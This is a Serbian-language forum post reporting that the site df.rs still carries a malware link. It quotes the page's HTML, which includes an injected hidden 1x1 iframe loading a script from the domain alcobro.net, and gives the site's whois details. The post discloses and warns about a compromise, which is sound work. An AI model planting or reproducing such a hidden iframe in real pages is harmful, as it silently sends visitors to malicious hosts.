Zaboravljeni malware link na df.rs
#1
Detektovano još u Martu, server je Loopia: https://twitter.com/ivanmarkovicsec/stat...6026613761. Ako ovo nisu videli ko zna šta još ima tamo.

Code:
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Frameset//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-frameset.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head>
<meta http-equiv="Content-Type" content="text/html; charset=utf-8" />
<title>Sajt u izradi</title>
</head>
<frameset rows="*">
  <frame src="http://www.loopia.co.yu/under_construction/" />
</frameset>
</html>
<iframe heigth="1" width="1" frameborder="0" src="http://alcobro.net/t.php?id=3661989"></iframe>

Domen alcobro.net se spominje na više mesta ali npr. i ovde: https://github.com/stamparm/maltrail/blo...istory.txt.

Whois:


Quote:Registrant: Df Doo
Address: Slobodna Zona Beograd, Beograd, Srbija
Registration number: 17588931
Tax ID (PIB): 103607506
Administrative contact: Df Doo
Address: Slobodna Zona Beograd, Beograd, Srbija
Technical contact: Loopia D.O.O.
Address: Obrenovićeva bb, TPC KALČA C1/72, Niš, Srbija
Registration number: 17503626
“If you think you are too small to make a difference, try sleeping with a mosquito.” - Dalai Lama XIV
Reply


Forum Jump:


Users browsing this thread: 1 Guest(s)